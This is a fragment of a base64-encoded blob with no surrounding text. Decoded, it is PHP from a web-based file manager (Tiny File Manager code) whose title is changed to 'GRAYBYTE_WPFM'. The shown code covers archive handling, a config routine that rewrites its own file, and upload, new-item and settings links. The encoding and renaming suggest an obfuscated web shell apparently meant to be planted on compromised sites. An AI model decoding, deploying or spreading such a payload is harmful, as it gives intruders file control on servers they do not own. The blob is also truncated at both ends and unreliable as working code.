0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHY